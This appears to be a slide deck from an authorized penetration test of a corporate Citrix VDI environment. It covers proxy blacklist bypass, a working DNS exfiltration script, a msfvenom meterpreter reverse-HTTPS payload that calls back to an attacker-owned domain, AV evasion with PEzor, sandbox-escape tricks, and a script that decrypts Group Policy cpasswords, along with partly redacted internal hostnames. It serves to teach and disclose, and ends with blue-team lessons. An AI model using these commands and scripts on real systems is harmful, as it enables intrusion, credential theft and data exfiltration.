

From home worker to server(s) admin

# InsideOutSec



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- IT People ( definitely not photographers )
- Consulting, Services and products regarding mainly security topics ( PT, RT, system hardening, ... )
- CTF player @ PGiatasti ( https://pgiatasti.it )

# DISCLAIMER

ALL THE TESTS WERE PERFORMED ON CUSTOMER'S REQUEST AND WITH A LEGAL CONTRACT.

ALL THE INFORMATIONS WE'RE GOING TO DESCRIBE HERE ARE DISCLOSED WITH CUSTOMER'S APPROVAL.


# DISCLAIMER

WE CAN'T NAME EXPLICITLY THE COMPANY WHICH ENGAGED US FOR THE ACTIVITY, SO THE NAME IS GOING TO BE REPLACED WITH A FAKE NAME... LET'S SAY (WITH A LOT OF FANTASY)... MEGACORP


### Introduction

- Penetration test activity on a VDI Citrix environment
- Activity commissioned by one of our main customers
- The tested environment is used by our customer's employees for smart-working
- Scope: exfiltrate information from the customer network
- ACTIVITY DURATION: 5 days


### Hypothetical High level architecture



### Hypothetical High level architecture




### Hypothetical High level architecture



# PART I EXFILTRATION


#### Foothold

THE ENVIRONMENT




### Foothold

THE ENVIRONMENT







- Mail with attachments
- DLP identify it without blocking it






#### Blacklist by category








# Exfiltration BLACKLIST BYPASS - IBM CLOUD

We know that our customer interact with IBM systems

cloud.ibm.com may not be blacklisted...

BLACKLIST BYPASS - IBM CLOUD

- We know that our customer works with IBM
- cloud.ibm.com may be not blacklisted




BLACKLIST BYPASS - ZEROBIN & COPY/PASTE


- zerobin.net is not blacklisted
- copy/paste is not disabled inside Edge



BLACKLIST BYPASS - CATEGORY - 1

https://www.cyren.com/security-center/url-category-check-gate






## Exfiltration BLACKLIST BYPASS - CATEGORY


- 1. Find a category which is not blacklisted
- 2. Find and buy an expired domain which is categorized as one of the allowed categories

BLACKLIST BYPASS - CATEGORY - 2




- https://github.com/threatexpress/domainhunter
- The target category is Computers & Technology so we can search for expired domains with "computer" in their name
- python3 domainhunter.py -u user -p password -ke computer


BLACKLIST BYPASS - CATEGORY - EXFILTRATION



BLACKLIST BYPASS - CATEGORY - INJECT




BLACKLIST BYPASS - CATEGORY - INJECT



BLACKLIST BYPASS - CATEGORY - UPLOAD

- TLS can be a good way to bypass some kind of filter
- If the proxy has no SSL termination it can't inspect the real contents of the packets
- Tips&Tricks: To configure quickly a https server Caddy is your friend (https://caddyserver.com/)

BLACKLIST BYPASS - CATEGORY - INJECT



# Exfiltration DNS EXFILTRATION

xyz is an information we gain

resolve

authoritative
DNS


Citrix

DNS EXFILTRATION

```
import os
import sys
from functools import partial
from base64 import b16encode as b16
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
destination = sys.argv[1]
if not destination.startswith("."):
    destination = f".{destination}"
input_file = sys.argv[2]
maxlen = 253-len(destination)
key = os.urandom(16)
encryptor = AES.new(key, AES.MODE_ECB)
with open(input_file, "rb") as f:
     data = f.read()
print(b16(key).decode("ascii") + destination)
for i_in_range(0, len(data), 16):
     block = data[i:i+16]
     if len(block) < 16:
           block = pad(block, 16)
     enc_block = encryptor.encrypt(block)
print(b16(enc_block).decode("ascii") + destination)
```

- Configure an authoritative DNS server for an owned domain (nrcomputer.com)
- Generate the exfiltration payloads using a simple script like the one on the left (written in python)
- Exfiltrate data through DNS requests

DNS EXFILTRATION



## PART II SANDBOX ESCAPE



Citrix expose a guest OS (MS Windows in our case) through a web application,

On top of it a client configuration agent (Ivanti) setup policies and hardened settings at each load of the guest User.




Guest hardening generally block some common Windows features:

- Execution of system commands
- Limited Graphical menus (no Open with, Save as, run...)
- Explorer.exe with directory and network shares limitation
- Limited key combination support
- ...

### Foothold

THE ENVIRONMENT



ARBITRARY COMMAND EXECUTION - OFFICE SUITE

Aggiorna dati

XML


Visualizza codice

Controlli

e 📱 Esegui finestra di dialogo

Modalità

Inserisci



Componenti

Componenti aggiuntivi

aggiuntivi di Excel aggiuntivi COM....

Componenti

Usa riferimenti relativi


Sicurezza macro

Codice

Visual Macro

Basic


- Office suite development features can be enabled
- It is possible to build and execute arbitrary VBA macros




### Sandbox escape

INTERACTIVE COMMAND PROMPT

- CMD is "disabled by the administrator"
- Powershell is inhibited by GPOs






### Sandbox escape

INTERACTIVE COMMAND PROMPT

- FTP!
- By using the FTP console is possible to execute commands interactively



### Sandbox escape

WSF

- WSH (Windows Script Host) enabled
- By finding a writable directory is possible to write a WSF file and execute it
  - A more comfortable way to execute arbitrary commands

### Sandbox escape

CMD DISABLED

- REG add HKCU\Software\Policies\Microsoft\Windows\System
   /v DisableCMD /t REG\_DWORD /d 1 /f
- CMD.exe is disabled, but the entire logic of CMD.exe is contained in cmd.dll
- From Didier Stevens <a href="https://blog.didierstevens.com/">https://blog.didierstevens.com/</a>

## rundll32

03/03/2021 • 2 minutes to read • 🚱 🕡 🧖 🥡 🕕











Is this page helpful?

Loads and runs 32-bit dynamic-link libraries (DLLs). There are no configurable settings for Rundll32. Help information is provided for a specific DLL you run with the rundli32 command.


### Sandbox escape

UNLOCK COMMAND PROMPT

- C:\Windows\SysWOW64\rundll32.exe
- "Loads and runs 32-bit dynamic-link libraries (DLLs). There are no configurable settings for Rundll32. Help information is provided for a specific DLL you run with the rundll32 command."

### Sandbox escape

UNLOCK COMMAND PROMPT



ReactOS Operating System [Version 0.3.11-20151211-rUNKNOWN]
(C) Copyright 1998-2009 ReactOS Team.


Modifications by Didier Stevens https://DidierStevens.com

h:\documenti>

### Enumeration

DUMP THE REGISTRY

- regedit.exe is used to navigate and edit registry keys
- Is possible to dump the entire registry and exfiltrate the resulting file using one of the method described earlier



## Enumeration INTERESTING FINDINGS

- [HKEY\_USERS\S-1-5-21-344748870-4015308433-2054805700-189537\Software\Microsoft\Windows\Curren tVersion\Internet Settings].AutoConfigURL=http://pac.megacorp.it:9544/proxy.pac
- [HKEY\_LOCAL\_MACHINE\SYSTEM\ControlSet001\Services\iphlpsvc\Parameters\ProxyMgr\{AE45A3F7-7DC4 -4F94-9707-1C80CCE40536}]. AutoConfigURL=http://internal.megacorp.it/proxy-prod-accesso-svilup patori.pac
- Link to Proxy Automatic Configuration files (PAC)

### Enumeration

### **INTERESTING FINDINGS**

Link to Proxy Automatic

Configuration files (PAC)

```
function FindProxyForURL(url, host) {
    var PROXY_SOPHOS = "PROXY sophos-web-vip.megacorp:8080";
    var PROXY_IRONPORT = "PROXY ironport-web-vip.megacorp:8080";
    var PROXY IRONPORT SVILUPPATORI = "PROXY 11.111.11.11:8081":
    var DIRECT = "DIRECT";
       isPlainHostName(host) ||
       shExpMatch(host, "localhost.*") ||
    if(isIpV4Addr.test(host))
       return resolvedIPManaging(host);
       shExpMatch(url,"http*connecto.megacorp.it*") ||
       shExpMatch(url,"*.group.gca*") ||
       shExpMatch(url, "*.intranet.gca*") ||
       shExpMatch(url, "*.prodinfo.gca*") ||
       dnsDomainIs(host,".ksjakdjalkd.fr") ||
       dnsDomainIs(host,".aasaaaa.com") ||
       shExpMatch(url,"*.emea.cib*") ||
       shExpMatch(url,"*.ss.cib*") ||
       shExpMatch(url,"*.dev.xxx.cib*") ||
       dnsDomainIs(host,"xxx-myjobs.com") |
       dnsDomainIs(host, "serviziomol.megacorp.it") ||
       shExpMatch(url, "*xyz.com*")
   return PROXY_IRONPORT;
```


### Enumeration

**INTERESTING FINDINGS** 

OPSEC safe host and service discovery

```
//Shibboleth per autenticazione SSO verso HCM ORACLE
  dnsDomainIs(host, "shib.megacorp.com") ||
  dnsDomainIs(host, "shib.megacorp.it") ||
  dnsDomainIs(host, "shib-ext.megacorp.com") ||
  dnsDomainIs(host, "shib-ext.megacorp.it") ||
  dnsDomainIs(host, "grpt-etl-kv00.megacorp.it") ||
 dnsDomainIs(host, "grpi-etl-hv00.megacorp.it") ||
  dnsDomainIs(host, "sophos-web-vip.megacorp.it") ||
  dnsDomainIs(host,"ev.megacorp.it") ||
  dnsDomainIs(host, "grexcipvs01.megacorp.it") ||
 dnsDomainIs(host, "grexcipvs02.megacorp.it") ||
 dnsDomainIs(host, "grexcipvs03.megacorp.it") ||
  dnsDomainIs(host, "grexcipvs04.megacorp.it") ||
  dnsDomainIs(host, "grsevipvs01.megacorp.it") ||
  dnsDomainIs(host, "grsevipvs02.megacorp.it") ||
  dnsDomainIs(host, "sevevvs01.megacorp.it") ||
  dnsDomainIs(host, "sevevvs01.megacorp.it") ||
  dnsDomainIs(host, "sevevvs02.megacorp.it") ||
 dnsDomainIs(host,"sevevvs02.megacorp.it") ||
  dnsDomainIs(host, "sevevvs61.megacorp.it") ||
  dnsDomainIs(host, "sevevvs61.megacorp.it") ||
 dnsDomainIs(host,"portalecm.megacorp.it") ||
 dnsDomainIs(host,"grpi-cdb-pv04.megacorp.it") ||
  dnsDomainIs(host,"grpi-cdb-pv05.megacorp.it") ||
 dnsDomainIs(host, "dc.services.visualstudio.com") ||
  shExpMatch(url, "*portaleinfrastrutture.megacorp.it*")
return DIRECT;
```

### Improving kb




### Enumeration


INTERESTING FINDINGS

```
// If specific URL needs to bypass proxy and send traffic to proxy Megacorp.
    if
        shExpMatch(url,"*.group.gca*") ||
        shExpMatch(url,"*.intranet.gca*") ||
        shExpMatch(url, "*.prodinfo.gca*") ||
        dnsDomainIs(host,".ksjakdjalkd.fr") ||
        dnsDomainIs(host,".aasaaaa.com") ||
        shExpMatch(url, "*.emea.cib*") ||
        shExpMatch(url, "*.ss.cib*") ||
        shExpMatch(url, "*.asia.cib*") ||
        shExpMatch(url, "*.dev.xxx.cib*") ||
        dnsDomainIs(host,".ilsole24ore.com") ||
        dnsDomainIs(host,"xxx-myjobs.com") ||
        dnsDomainIs(host,"*mybanking.megacorp.it*") ||
        shExpMatch(url, "*xyz.com")
    return PROXY IRONPORT;
```


### Learn from data



### Improper RegEx



### Abuse regex logic



# PART III INFECTING THE SYSTEM

### Exfiltration

"BUILDING" THE MALWARE - 1

- Our scope doesn't require to be stealthy so we can test detection capabilities of the AV used in target system. We used metasploit to build the most classic meterpreter payload
- "qui sono quasi tutti somari e amanti di metasploit, quindi gentaccia, ma di meglio non si trova" ~ decoder (joking)



### Exfiltration

"BUILDING" THE MALWARE - 2

- msfvenom -a x64 --platform windows -p windows/x64/meterpreter\_reverse\_https
  LHOST=www.nrcomputer.com LPORT=443 HandlerSSLCert=./cert.pem
  HttpProxyHost=<IP> HttpProxyUser=MegaCorpUser HttpProxyPort=8080
  HttpProxyPass=MUserPw -f exe -o malware.exe
- As expected the "plain" meterpreter payload is immediately detected and neutralized by the AV countermeasures
- That's where **Pezor** can come in handy, a great tool when is time to obfuscate a malware (thanks **@phraaaaaaa**)

```
bash PEzor.sh -64 -sgn -unhook -syscalls -antidebug -format=exe malware.exe
```

## Exfiltration INFECTING THE SYSTEM - 3

### Set up a listener. TLS help to bypass (some) Dps/Edr system


```
sudo msfconsole -x "use exploit/multi/handler; set
PAYLOAD windows/x64/meterpreter/reverse_https; set
LHOST 0.0.0; set LPORT 443; set HandlerSSLCert
./cert.pem; run -j"
```

# PART IV PRIVESC

**GRAPHICAL MENUS** 


 Menu as "open with" or "save as" can have a different scope than the one directly offered to the user






**ACCESS INHIBITED PATHS** 

 Using . Ink files is possible to access some previously inhibited paths (Local filesystem and network shares)



Generale Colleg	Jamento	Sicurezza	Dettagli	Versioni precedent
S)	YSVOL_L	.NK		
Tipo:	Cartella	di file		
Percorso:	SYSVO	L		
Destinazione:		SYSV	DL	
Da:	_			
70 mm mm				
Tasti di scelta rapida:				
Esegui:	Finestra normale			
Commento:				
Apri percorso file		Cambia	icona	Avanzate



ACCESS INHIBITED PATHS

### Stealthy Network enumeration: Domain controller's SYSVOL

- SYSVOL/Policies/{38F435B0-1644-4A9D-A26F-18BB97724B71}/Machine/Preferences/Groups/Groups.xml
- SYSVOL/Policies/{563A12A9-D035-4D62-8787-BB823FBB24D5}/User/Preferences/Drives/Drives.xml

**GROUPS.XML** 

```
Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="0" changed="2019-03-21 12:21:50" uid="{F0253152-1340-4A9E-B5FC-B5B6976DAC5F}"><Properties action="C" fullName="" description="" cpassword="Ij3+/kB+06RQvD...qvsGinJxqxwZtBrtkew891E" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" userName="Administrator"/></User>
```

DRIVES.XML

```
<Drive clsid="{935D1B74-9CB8-4e3c-9914-7DD559B7A417}" name="I:" status="I:"
image="1" changed="2011-10-10 10:29:31"
uid="{2F8C098A-DB4F-462A-811A-D4097EF18734}" bypassErrors="1"><Properties
action="R" thisDrive="NOCHANGE" allDrives="NOCHANGE"
userName="IP\ElenchiNDG" path="\\IP\ElenchiNDG" label="ElenchiNDGPreProd"
persistent="1" useLetter="0" letter="I"
cpassword="CKD/HxUWhC...BwIRZlh2jazI"/></Drive>
```

THANK YOU MICROSOFT

### 2.2.1.1.4 Password Encryption

02/14/2019 • 2 minutes to read

Is this page helpful?

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key. <3>

The 32-byte AES key is as follows:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

THANK YOU MICROSOFT

```
import binascii
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
 from base64 import b64decode
def b64decode_addpadding(b64input):
   try:
       return b64decode(b64input)
   except binascii.Error:
       return None
KEY = bytes.fromhex("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")
IV = b" \setminus x00" * 16
encryptor = AES.new(KEY, AES.MODE_CBC, IV)
b64_ciphertext = input("cpassword: ")
while (ciphertext := b64decode_addpadding(b64_ciphertext)) is None:
   b64_ciphertext = f"{b64_ciphertext}="
plaintext = unpad(encryptor.decrypt(ciphertext), 16)
print(plaintext.decode("utf-16-le"))
vitto@arch-vitto ~ % python3 microsoft_decrypt.py
cpassword: Ij3+/kB+06
                                                                         vsGinJxqxwZtBrtkew89lE
                   ech/4u
Har
vitto@arch-vitto ~ % python3 microsoft_decrypt.py
                                                           wIRZlh2jazI
cpassword: CKD/HxUl
el:
           D9
```

## Privilege escalation WELCOME, ADMIN

The password related to the Administrator account is valid in 5 different randomically selected systems, including a domain controller.

From here the path to the heaven is close enough...

### Privilege escalation

WELCOME, ADMIN

From homeworker to server(s) admin

## PART V LESSON LEARNED

### Lesson Learned

Blue Team

- VDI guest aren't firewall, proper network segregation is mandatory.
- One (virtual) image to rule them all doesn't work, too many software are needed to fulfil the requirements of different working groups
- Don't insert credentials inside group policy preferences (or it will be stored in SYSVOL in a really vulnerable ways)
- Implement GPO and locking features in attempt to limit a motivated attacker isn't that easy...

## PART VI LESSON LEARNED

### Lesson Learned

Attacker

- Old tricks first, latest eve as last resort
- Invest time to look out the features of the whitelisted software, those can be useful to perform a sandbox escape from controlled environments
- When you're hacking windows, sometimes Microsoft is your best friend

## THE END